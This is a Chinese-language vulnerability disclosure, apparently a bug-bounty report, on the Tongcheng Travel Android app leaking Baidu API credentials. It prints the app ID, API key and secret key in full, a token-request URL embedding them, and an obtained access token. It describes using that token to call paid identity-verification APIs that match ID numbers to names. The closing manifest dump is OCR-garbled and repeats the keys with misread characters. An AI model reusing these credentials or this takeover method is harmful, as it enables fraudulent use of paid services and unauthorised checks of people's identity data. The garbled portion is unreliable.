同程旅行app存在敏感信息泄露
漏洞简述
同程旅行app存在敏感信息泄露，攻击者可以通过反编译获得百度token，从而任意调用api付费服务

复现步骤
下载app
https://www.wandoujia.com/apps/39733
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利用工具进行反编译
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此处泄露百度api
<meta-data android:name="com.baidu.speech.APP_ID" android:value="11648787"/>
<meta-data android:name="com.baidu.speech.API_KEY" android:value="yD9pMoFcLrra4sdy6KrtDRSs"/>
<meta-data android:name="com.baidu.speech.SECRET_KEY" android:value="OrNd5wRs5KZXZUtyxXZWzyd7oS6fjROR"/>


利用官方文档进行调用获取access_token
https://openapi.baidu.com/oauth/2.0/token?grant_type=client_credentials&client_id=yD9pMoFcLrra4sdy6KrtDRSs&client_secret=OrNd5wRs5KZXZUtyxXZWzyd7oS6fjROR&scope=smartapp_snsapi_base
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成功获取到accesstoken值，并且看到此处使用了大量的付费接口
	access_token
	："24.57ea74aa466d2e5ac5778120f124912a.2592000.1662539652.282335-11648787"




于是尝试调用付费接口，利用百度的在线工具

https://cloud.baidu.com/apiexplorer/index.html?Product=GWSE-nmhroEsyriA&Api=GWAI-PZVqcHoyUhD
[image: ]
header处填入application/json access_token处填入上面获得的token，body处填入身份证号和对应的姓名，可以看到返回success，证明匹配成功
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当输入错误的姓名时显示不匹配，并且查询官方文档得知此api接口是付费接口，成功实现接管

https://ai.baidu.com/ai-doc/FACE/ek8dz0tl6
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同样的 此接口也可调用，这里进行测试调用了自己的 
https://cloud.baidu.com/apiexplorer/index.html?Product=GWSE-nmhroEsyriA&Api=GWAI-ropk3axeb3W
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修复方案
隐藏敏感信息，并将key全部更换，避免存在已经泄露的潜在危害
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Ini 79 <permission android om.tongcheng.android.permission.PUSH_PROVIDER rotectionlevel="signature"/>
80 <permission android:name="com.tongcheng.android.permission.PUSH_WRITE_PROVIDER" android:protectionlevel="signature"/>
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android HE&secretll T 82 <uses-permission android:name="com.tongcheng.android.permission.PUSH_PROVIDER"/>
androidx 83 <uses-permission android:name="com.asus.msa.SupplementaryDID.ACCESS"/>
bolts 84 <uses-permission android:name="freemme.permission.msa"/>
85 <uses-permission android:name="android.permission. INTERNET"/>
n 86 <uses-permission android:name="android.permission.BLUETOOTH"/>
com 87 <application android:theme="@style/Theme.All" android:label="@string/tongChengAppName" android:icon="@drawable/icon" android:nan
de.greenrobot 88 <receiver android:name="com.tongcheng.android. auareness.BarrierStatusReceiver”>
9 <intent-filter>
defpackage S\ <action android:name="com.tongcheng.android.BARRIER_RECEIVER_ACTION"/>
filter.pack 89 </intent-filter>
io 88 </receiver>
3 93 <meta-data android: ndroid.max_aspect” android:value="2.3"/>
Javax 94 <meta-data android: argetSignature” android:value="1f88c08c82c875a310364ee3d9832b32"/>
jp.wasabeef.glide.transformations 95 ta-data android: fargetPackage™ androidivaluc="com tonscheng, oppo”
kotlin 9% <meta-data android: om.baidu.speech.APP_ID" android:value="11648787"/>
. 97 <meta-data android: com.baidu.speech.APT_KEY" android:value="yD9pMoFcLrradsdy6KrtDRSs"/>
kotlinx 98 <meta-data android om.baidu. speech. SEGRETMKEY" android:value="0rNd5wRsSKZXZUtyxXZWzyd70S6FiROR"/>
okhttp3 99 v o - ot a— o = w=srom. tongcheng.. andr
okio 100 <meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@xml/authorized_paths"/>
99 </provider>
org 102 <provider android:name="cn.sharesdk.framework.utils.ShareSDKFileProvider” android:exported="false" android:authorities="com
pl.droidsonroids.gif 103 <activity android:theme="@style/Home_SplashTheme" android:name="com.tongcheng.android.LoadingActivity" android:launchiode:
vi.com.gdi.bgl.android.java 104 <intent-filter>
Gt 105 <action android:name="android.intent.action.MAIN"/>
- s 106 <category android:name="android.intent.category.LAUNCHER"/>
7 APK signature 104 </intent-filter>
[ summary 108 <intent-filter>
109 <action android:name android.intent.action.VIEW"/>
110 <category android:name="android.intent.category.DEFAULT"/>
111 <category android:name="android.intent.category.BROWSABLE"/>
112 <data android:scheme="tctravel” android
113 <data android:scheme="tctclient" androi
108 </intent-filter>
115 <intent-filter>
116 <action android:name com.vendor.action.MULTI_SEARCH"
= O 715 R A191sEEs 17 <catepory android:name="android.intent . catesorv DFFAUIT"/>





